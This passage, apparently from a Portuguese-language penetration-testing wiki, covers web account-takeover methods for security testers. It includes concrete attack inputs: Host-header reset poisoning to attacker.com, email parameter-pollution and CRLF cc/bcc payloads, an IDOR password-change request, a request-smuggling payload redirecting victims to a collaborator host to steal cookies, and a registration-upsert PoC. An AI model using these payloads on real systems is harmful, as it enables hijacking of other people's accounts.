def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: submeta o mesmo OTP válido simultaneamente em duas sessões; às vezes uma das sessões torna‑se uma verified attacker account enquanto o fluxo da vítima também tem sucesso.
- Também teste Host header poisoning em verification links (igual ao reset poisoning abaixo) para leak ou completar a verificação em attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

Uma classe poderosa de problemas ocorre quando um atacante realiza ações no email da vítima antes que ela crie a conta, e depois recupera o acesso.

Técnicas‑chave para testar (adapte aos fluxos do alvo):

- Classic–Federated Merge
- Atacante: regista uma classic account com o email da vítima e define uma password
- Vítima: posteriormente regista‑se com SSO (mesmo email)
- Merges inseguros podem deixar ambas as partes logadas ou ressuscitar o acesso do atacante
- Unexpired Session Identifier
- Atacante: cria a conta e mantém uma sessão de longa duração (não encerre a sessão)
- Vítima: recupera/define a password e usa a conta
- Teste se sessões antigas permanecem válidas após reset ou ativação de MFA
- Trojan Identifier
- Atacante: adiciona um identificador secundário à conta pré‑criada (telefone, email adicional, ou vincula o IdP do atacante)
- Vítima: reseta a password; o atacante depois usa o trojan identifier para resetar/logar
- Unexpired Email Change
- Atacante: inicia alteração de email para o email do atacante e retém a confirmação
- Vítima: recupera a conta e começa a usá‑la
- Atacante: mais tarde completa a pending email‑change para roubar a conta
- Non‑Verifying IdP
- Atacante: usa um IdP que não verifica a propriedade do email para afirmar `victim@…`
- Vítima: regista‑se via classic route
- O serviço faz merge pelo email sem checar `email_verified` ou sem realizar verificação local

Dicas práticas

- Extraia fluxos e endpoints dos bundles web/mobile. Procure por classic signup, SSO linking, email/phone change e endpoints de password reset.
- Crie automação realista para manter sessões ativas enquanto testa outros fluxos.
- Para testes SSO, levante um OIDC provider de teste e emita tokens com claims `email` para o endereço da vítima e `email_verified=false` para verificar se o RP confia em IdPs não verificados.
- Após qualquer password reset ou alteração de email, verifique que:
  - todas as outras sessões e tokens são invalidadas,
  - alterações de email/telefone pendentes são canceladas,
  - IdPs/emails/telefones previamente ligados são re‑verificados.

Nota: Metodologia extensa e estudos de caso destas técnicas estão documentados pela Microsoft’s pre‑hijacking research (veja Referências no fim).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Solicite um password reset para o seu endereço de email
2. Clique no password reset link
3. Não altere a password
4. Clique em qualquer website 3rd party (eg: Facebook, twitter)
5. Intercepte a requisição no proxy do Burp Suite
6. Verifique se o referer header está leakando o password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercepte a password reset request no Burp Suite
2. Adicione ou edite os seguintes headers no Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Reencaminhe a requisição com o header modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Procure por uma password reset URL baseada no _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR em parâmetros da API

1. O atacante precisa fazer login com sua conta e acessar a funcionalidade Alterar senha.
2. Inicie o Burp Suite e intercepte a requisição
3. Envie para a aba repeater e edite os parâmetros : User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token fraco de redefinição de senha

O password reset token deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.

• Carimbo de data/hora
• ID do usuário
• Email do usuário
• Primeiro nome e sobrenome
• Data de nascimento
• Criptografia
• Apenas números
• Pequena sequência de token ( caracteres entre [A-Z,a-z,0-9])
• Reutilização do token
• Data de expiração do token

Leaking Password Reset Token

1. Dispare uma solicitação de reset de senha usando a API/UI para um email específico, ex: test@mail.com
2. Inspecione a resposta do servidor e verifique por resetToken
3. Então use o token em uma URL como https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Redefinição de senha via colisão de nome de usuário

1. Registre-se no sistema com um nome de usuário idêntico ao da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. e.g: "admin "
2. Solicite uma redefinição de senha com seu nome de usuário malicioso.
3. Use o token enviado para seu email e redefina a senha da vítima.
4. Conecte-se à conta da vítima com a nova senha.

A plataforma CTFd foi vulnerável a esse ataque.
See: CVE-2020-7245

Tomada de conta via Cross Site Scripting

1. Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem com escopo para o domínio pai : *.domain.com
2. Leak o atual sessions cookie
3. Autentique-se como o usuário usando o cookie

Tomada de conta via HTTP Request Smuggling

1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. Crie uma requisição que sobrescreva o POST / HTTP/1.1 com os seguintes dados:
   GET http://something.burpcollaborator.net HTTP/1.1 X: com o objetivo de abrir um redirect das vítimas para burpcollab e roubar seus cookies\
3. A requisição final pode ser parecida com a seguinte

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

Account Takeover via CSRF

1. Crie um payload para o CSRF, e.g: “HTML form with auto submit for a password change”
2. Envie o payload

Account Takeover via JWT

JSON Web Token pode ser usado para autenticar um usuário.

• Edite o JWT com outro User ID / Email
• Verifique se a assinatura do JWT é fraca

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Alguns signup handlers executam um upsert quando o email fornecido já existe. Se o endpoint aceita um corpo mínimo com um email e password e não exige verificação de propriedade, enviar o email da vítima irá sobrescrever a password dela pre-auth.

• Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
• Method hints: a GET returning messages like “Only POST request is allowed.” often indicates the correct verb and that a JSON body is expected.
• Minimal body observed in the wild:

{"email":"victim@example.com","password":"New@12345"}

Exemplo PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impacto: Full Account Takeover (ATO) sem nenhum reset token, OTP ou verificação de e-mail.

Referências

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

• Confira os planos de assinatura!
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.